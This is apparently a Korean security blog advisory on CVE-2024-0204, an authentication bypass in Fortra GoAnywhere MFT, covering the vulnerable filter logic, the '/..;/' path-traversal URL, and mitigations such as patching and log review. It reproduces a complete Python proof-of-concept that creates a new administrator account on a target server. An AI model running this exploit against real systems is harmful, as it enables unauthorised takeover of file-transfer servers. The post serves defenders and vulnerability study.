1. GoAnywhere MFT [1]
- 포트라(Fortra)에서 개발한 파일 전송 애플리케이션
2. 취약점
- 취약한 버전의 GoAnywhere MFT에서 발생하는 인증 우회 취약점 (CVSS: 9.8)
> 인증을 우회한 공격자는 새로운 관리자 계정을 생성해 추가 익스플로잇이 가능함
영향받는 버전 [3]
① Fortra GoAnywhere MFT 6.x (6.0.1 이상)
② Fortra GoAnywhere MFT 7.x (7.4.1 이전)
2.1 취약점 상세 [4]
- 최초 설치시 GoAnywhere MFT는 InitialAccountSetup.xhtml를 호출해 관리자 계정을 생성
- 설치 후 InitialAccountSetup.xhtml를 직접 요청하면 액세스할 수 없으며 리다이렉션이 발생
> 관리자 계정이 생성되었기 때문
> /Dashboard.xhtml 엔드포인트로 리디렉션
> 사용자가 인증되지 않았으므로 최종적으로 /auth/Login.xhtml로 리디렉션
- 모든 요청에 대해 com.linoma.dpa.security.SecurityFilter 클래스 호출
> 어떤 엔드포인트가 요청되는지 확인하고 엔드포인트, 사용자 컨텍스트 및 응용 프로그램 설정을 기반으로 요청이 올바른 엔드포인트로 라우팅 되도록 허용하는 doFilter() 기능을 수행
> 해당 클래스에서 취약점과 관련된 /InitialAccountSetup.xhtml 요청을 처리하는 명시적인 코드가 확인
① 91번 라인: 이미 생성된 관리자 사용자가 없고 경로가 /wizard/InitialAccountSetup.xhtml이 아닌 경우 설정 페이지로 리다이렉션
② 102번 라인: 이미 생성된 admin 사용자가 있고 경로가 /wizard/InitialAccountSetup.xhtml이면 /Dashboard.xhtml로 리디렉션
- 공격자는 이를 악용하기 위해 페이로드에 "/..;/"를 추가해 경로 순회 취약점을 이용
> Tomcat의 일부 취약한 구성은 /..;/를 /../로 정규화 [5][6]
> /..;/를 이용해 doFilter()를 우회하여 새로운 관리자 계정 생성 및 추가 익스플로잇 수행
hxxps://[Target IP]/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml
2.2 PoC [7]
- /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml URL로 GET 요청 전송
import requests
from bs4 import BeautifulSoup
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def validate_password(password):
if len(password) < 8:
raise argparse.ArgumentTypeError("Password must be at least 8 characters long.")
return password
def main():
parser = argparse.ArgumentParser("CVE-2024-0204 GoAnywhere Authentication Bypass")
parser.add_argument("endpoint", help="The endpoint URL (e.g., http://127.0.0.1:8080)")
parser.add_argument("username", help="New admin username")
parser.add_argument("password", help="New admin password", type=validate_password)
args = parser.parse_args()
url = f"{args.endpoint}/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml"
data = {
"j_id_u:creteAdminGrid:username": args.username,
"j_id_u:creteAdminGrid:password_hinput": args.password,
"j_id_u:creteAdminGrid:password": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
"j_id_u:creteAdminGrid:confirmPassword_hinput": args.password,
"j_id_u:creteAdminGrid:confirmPassword": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
"j_id_u:creteAdminGrid:submitButton": "",
"createAdminForm_SUBMIT": 1,
}
s = requests.session()
r = s.get(url, verify=False)
if r.status_code == 401:
raise Exception("Endpoint does not appear to be vulnerable.")
soup = BeautifulSoup(r.text, "html.parser")
input_field = soup.find('input', {'name': 'javax.faces.ViewState'})
data['javax.faces.ViewState'] = input_field['value']
r = s.post(url, verify=False, data=data)
if r.status_code != 200:
raise Exception("Failed to create new admin user")
soup = BeautifulSoup(r.text, "html.parser")
error_message = soup.find("span", {"class": "ui-messages-error-summary"})
if error_message is not None:
raise Exception(error_message.text)
if __name__ == "__main__":
main()
3. 대응방안
- 벤더사 제공 최신 업데이트 적용 : Fortra GoAnywhere MFT 7.4.1 이상 [8]
> 벤더사 권고 추가 해결 방안
① 비컨테이너 배포 인스턴스의 경우 설치 디렉터리에서 InitialAccountSetup.xhtml 파일을 삭제하고 서비스 다시 시작
② 컨테이너 배포 인스턴스의 경우설치 디렉터리에서 InitialAccountSetup.xhtml 파일을 빈 파일로 바꾸고 서비스 다시 시작
- 관리자 계정 목록 검토
> GoAnywhere administrator portal Users -> Admin Users 검토
> 또는, \GoAnywhere\userdata\database\goAnywhere\log\*.log 로그 검토
※ 해당 로그는 DB의 트랜잭션 기록이 포함되어 있으며, 사용자 추가시 관련 로그가 기록됨
- /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml 탐지 패턴 적용
4. 참고
[1] https://www.goanywhere.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-0204
[3] https://www.fortra.com/security/advisory/fi-2024-001
[4] https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/
[5] https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat#path-traversal
[6] https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/
[7] https://github.com/horizon3ai/CVE-2024-0204
[8] https://www.kroll.com/en/insights/publications/cyber/authentication-bypass-in-fortra-goanywhere-mft
[9] https://cybersecuritynews.com/goanywhere-mft-bypass/amp/
[10] https://www.upguard.com/blog/goanywhere-cve-2024
[11] https://www.helpnetsecurity.com/2024/01/24/poc-cve-2024-0204/
[12] https://socprime.com/blog/cve-2024-0204-detection-critical-vulnerability-in-fortra-goanywhere-mft-resulting-in-authentication-bypass/
[13] https://www.boannews.com/media/view.asp?idx=126043&page=1&kind=1
'취약점 > By-Pass' 카테고리의 다른 글
TeamCity Server 인증 우회 취약점 (CVE-2024-27198, CVE-2024-27199) (0) | 2024.03.11 |
---|---|
ConnectWise ScreenConnect 인증 우회 취약점 (CVE-2024-1709) (0) | 2024.02.22 |
Ivanti 인증 우회 취약점 (CVE-2023-46805, CVE-2023-35082) (0) | 2024.01.30 |
VMware Aria Automation 접근 제어 누락 취약점 (CVE-2023-34063) (0) | 2024.01.23 |
Apache OfBiz 인증 우회 취약점 (CVE-2023-51467) (1) | 2023.12.31 |